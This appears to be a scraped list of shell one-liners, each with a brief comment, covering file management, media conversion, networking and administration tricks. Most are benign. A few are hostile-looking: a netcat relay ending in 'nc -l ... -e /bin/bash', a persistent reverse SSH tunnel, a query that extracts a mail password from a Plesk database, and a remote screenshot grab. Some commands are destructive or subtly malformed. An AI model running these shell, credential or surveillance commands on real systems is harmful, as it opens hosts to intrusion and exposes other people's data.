curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1

# Faster find and move using the find and xargs commands. Almost as fast as locate.
find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path

# Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has.
netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n

# How much RAM is Apache using?
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc

# Get Futurama quotations from slashdot.org servers
lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'



# Batch File Rename with awk and sed
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh

# Count all conections estabilished on gateway
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#

# Run the last command as root - (Open)Solaris version with RBAC
pfexec !!

# Save a file you edited in vim without the needed permissions - (Open)solaris version with RBAC
:w !pfexec tee %

# find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;

# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'

# Donwload media from *.rm from an url of type htttp://.../*.ram
wget <URL> -O- | wget -i -

# Find files containing string and open in vim
vim $(grep test *)

# Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'

# Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1

# find all non-html files
find . -type f ! -name "*html"

# find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u

# Search through files, ignoring .svn
grep <pattern> -R . --exclude-dir='.svn'

# Delete files if not have some extension
ls -1 |grep -v .jpg |xargs rm

# Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;

# Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html

# Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]*| sort -nk1

# Uniformly correct filenames in a directory
for i in  *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done

# Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'

# Show your account and windows policy settings with Results of Policy msc.
rsop.msc

# Set an alarm to wake up
sleep 5h && rhythmbox path/to/song

# Merge several pdf files into a single file
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf

# Get a shell with a not available account
su - <user> -s /bin/sh -c "/bin/sh"

# Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr

# Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info



# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements

# On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
unrar p -inul foo.rar|mplayer -

# Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'

# load changes without logging in and out vim
:source ~/.vimrc

# purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge

# Sort lines using the Xth characted as the start of the sort string
sort -k1.x

# List commands with a short summary
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done

# Extract neatly a rar compressed file
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi

# Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc

# Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u

# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq

# Synchronize both your system clock and hardware clock and calculate/adjust time drift
ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust

# 'Fix' a typescript file created by the 'script' program to remove control characters
cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed

# Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"

# find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'

# removing syncronization problems between audio and video
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv

# Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &

# List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done

# Vi - Matching Braces, Brackets, or Parentheses
%

# Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done

# Break lines after, for example 78 characters, but don't break within a word/string
fold -w 78 -s file-to-wrap

# Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid

# Go to the next sibling directory in alphabetical order, version 2
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"

# find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more

# List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'



# Show established network connections
lsof -i | grep -i estab

# Start screen with name and run command
screen -dmS "name_me" echo "hi"

# Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfxcxdxbxegedabagacad

# Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi

# Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )

# Connect via sftp to a specific port
sftp -oPort=3476 user@host

# Get file access control list
getfacl /mydir

# Clone current directory into /destination verbosely
find . | cpio -pumdv /destination

# Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg

# list and sort files by size in reverse order (file size in human readable output)
ls -S -lhr

# Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose

# send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:

# Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared

# connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done

# Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid

# Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml

# batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF

# Lazy man's vim
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }

# Find writable files
find -writable

# Edit file(s) that has been just listed
vi `!!`

# Use ImageMagick to get an image's properties
identify -ping imageName.png

# Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"

# Play musical notes from octave of middle C
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500

# ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &

# Using ASCII Art output on MPlayer
mplayer -vo aa <video file>



# Generate 10 pronunciable passwords
apg -a 0 -n 10

# find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'

# Watch your freebox flux, through a other internet connection (for French users)
vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null

# Resize photos without changing exif
mogrify -format jpg -quality 80 -resize 800 *.jpg

# Recursively lists all files in the current directory, except the ones in '.snapshot' directory
find . -wholename './.snapshot' -prune -o -print

# Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'

# View non-printing characters with cat
cat -v -t -e

# Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf

# Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done

# Create black and white image
convert -colorspace gray face.jpg gray_face.jpg

# print date 24 hours ago
date --date=yesterday

# find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1

# colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '

# Scan for new SCSI devices
echo "- - -" > /sys/class/scsi_host/host0/scan

# Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l

# Bash autocomplete case insensitive search
shopt -s nocaseglob

# To have only unique lines in a file
sort file1.txt | uniq > file2.txt

# Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm

# Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`

# Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file

# grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log |  awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head

# Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv

# Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;

# Getting the last argument from the previous command
cd !$

# How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt



# Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done

# Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0  | xargs -r0 du -Lh

# Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum

# Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w  0 7777|grep -v [89]`; do    chmod $N /tmp/$$;    P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$

# Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo

# Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u

# Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"

# Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat

# Watch contents of a file grow
tail -n 0 -f /var/log/messages

# Kill most recently created process.
pkill -n firefox

# Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`

# Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices

# Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail

# memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out.
echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l

# Remove Backup Files
find / -name *~ -delete

# checking space availabe on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)

# Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head

# display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file

# Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'

# use the real 'rm', distribution brain-damage notwithstanding
\rm somefile

# Enter your ssh password one last time
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"

# Generate White Noise
cat /dev/urandom > /dev/dsp

# Convert df command to posix; uber GREPable
df -P

# bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}

# Want to known what time is it in another part of the world ?
TZ=Indian/Maldives date



# Check ps output to see if file is running, if not start it
ps -C thisdaemon || { thisdaemon & }

# Add a line to a file using sudo
echo "foo bar" | sudo tee -a /path/to/some/file

# Send a backup job to a remote tape drive on another machine over SSH
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"

# Kill all processes belonging to a user
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]

# Find files with root setuids settings
sudo find / -user root -perm -4000 -print

# a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done

# Search manpages for a keyword
man -k <keyword>

# Current running process ordered by %CPU
ps -eo pcpu,pid,args | sort -n

# useless load
cat /dev/urandom | gzip -9 > /dev/null &

# Pulls total current memory usage, including SWAP being used, by all active processes.
ps aux | awk '{sum+=$6} END {print sum/1024}'

# list files with last modified at the end
alias lrt='ls -lart'

# Add all files not under subversion control
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;

# Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE

# List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20

# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"

# Displays process tree of all running processes
pstree -Gap

# Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'

# Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn

# Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"

# display ip address
curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'

# Show what a given user has open using lsof
lsof -u www-data

# Archive a directory with datestamp on filename
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/

# Counts number of lines
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l

# output the contents of a file removing any empty lines including lines which contain only spaces or tabs.
sed -e '/^[<space><tab>]*$/d' somefile

# run command on a group of nodes in parallel
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'



# backup directory. (for bash)
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash

# show all programs connected or listening on a network port
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'

# date offset calculations
date --date="1 fortnight ago"

# Live filter a log file using grep and show x# of lines above and below
tail -f <filename> | grep -C <# of lines to show above and below> <text>

# rot13 simple substitution cipher via command line
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'

# setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine.
ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine

# uniq for unsorted data
awk '!_[$0]++{print}'

# Get MX records for a domain
dig foo.org mx +short

# Show Shared Library Mappings
ldconfig -p

# Show number of NIC's, ports per nic and PCI address
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'

# locate bin, src, and man file for a command
whereis somecommand

# Display all readline binding that use CTRL
bind -p | grep -F "\C"

# send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json

# Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'

# Synchronise a file from a remote server
rsync -av -e ssh user@host:/path/to/file.txt .

# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer

# Jump to line X in file in Nano.
nano +X foo

# see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'

# create a .avi with many .jpg
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc

# Get the list of root nameservers for a given TLD
dig +short NS org.

# SH
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}

# convert ascii string to hex
echo $ascii | perl -ne 'printf "%x", ord for split //'

# Grab a list of MP3s out of Firefox's cache
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'

# Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes
APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi

# Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5



# pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!

# pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!

# make directory with current date
mkdir $(date +%Y_%m_%d)

# Combining text files into one file
cat *.txt >output.txt

# Sort installed rpms in alphabetic order with their size.
rpm -qa --qf  "%-30{NAME} %-10{SIZE}\n" | sort -n | less

# Sort installed rpms by decreasing size.
rpm -qa --qf  "%-10{SIZE} %-30{NAME}\n" | sort -nr | less

# Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}

# Scan for nearby Bluetooth devices.
hcitool scan

# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq

# Add .gitignore files to all empty directories recursively from your current directory
find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;

# Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'

# check python syntax in vim
:!pylint -e %

# From Vim, run current buffer in python
! python %

# Mysql uptime
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'

# convert pdf into multiple png files
gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>

# High resolution video screen recording
gorecord() {   if [ $# != 1 ]; then     echo 'gorecord video.mp4'     return   fi    ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1"  }

# Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg

# Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }

# Updated top ten memory utilizing processes (child/instance aggregation) now with percentages of total RAM
TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10

# easily find megabyte eating files or directories
du -hs *|grep M|sort -n

# Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH//:/ }) > /dev/null

# Currency Conversion
currency_convert() {   wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" |  sed '/res/!d;s/<[^>]*>//g'; }

# Compare prices in euro of the HTC Desire on all the european websites of Expansys.
for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si  ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>&euro; \([0-9]*[,.][0-9]*\).*/\1/g"; done

# Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'

# Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; );  echo "$cmd"



# Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1

# display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "

# Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"

# Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done

# Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -

# Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3

# determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;

# Netcat & Tar
Server: nc -l 1234 |tar xvfpz  -   ;Client: tar zcfp - /path/to/dir | nc localhost 1234

# Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"

# Lists installed kernels
ls -1 /lib/modules

# a function to create a box of '=' characters around a given string.
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}

# Change display resolution
xrandr -s 1280x1024

# pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"

# Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "

# a find and replace within text-based files, for batch text replacement, not using perl
sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`

# Split a file one piece at a time, when using the split command isn't an option (not enough disk space)
dd if=inputfile of=split3 bs=16m count=32 skip=64

# Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso

# Find the real procesor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'

# Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'

# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat

# View acceptable client certificate CA names asked for during SSL renegotiations
openssl s_client -connect www.example.com:443 -prexit

# Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png

# rename all jpg files with a prefix and a counter
ls *.jpg | grep -n ""  | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh

# scp with compression.
scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql

# Reverse ssh
#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh user@localhost -p 8888#



# gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql

# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone
ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4

# convert a line to a space
echo $(cat file)

# Shell function to create a menu of items which may be inserted into the X paste buffer.
smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )

# OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'

# Determine space taken by files of certain type
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'

# show todays svn log
svn log --revision {`date +%Y-%m-%d`}:HEAD

# Speed up the keyboard repeat rate in X server
xset r rate 250 120

# Configuring proxy client on terminal without leaving password on screen or in bash_history
set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }

# Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt

# Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"

# Vlc ncurses mode browsing local directorys.
vlc -I ncurses <MEDIA_DIR>

# How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT

# grab all commandlinefu shell functions into a single file, suitable for sourcing.
curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"

# Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -

# Netcat Relay
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;##  nc -l $IamTargetHost 1234 -e /bin/bash;

# add all files not under version control to repository
svn add . --force

# Block all IP addresses and domains that have attempted brute force SSH login to computer
/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set

# Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)

# kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock

# Fast tape rewind
< /dev/rmt/0cbn

# Find unused IPs on a given subnet
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '

# Print the contents of $VARIABLE, six words at a time
echo $VARIABLE | xargs -d'\40' -n 6 echo

# change dinosaur poop into gold
sqlite3  -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http

# This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs.
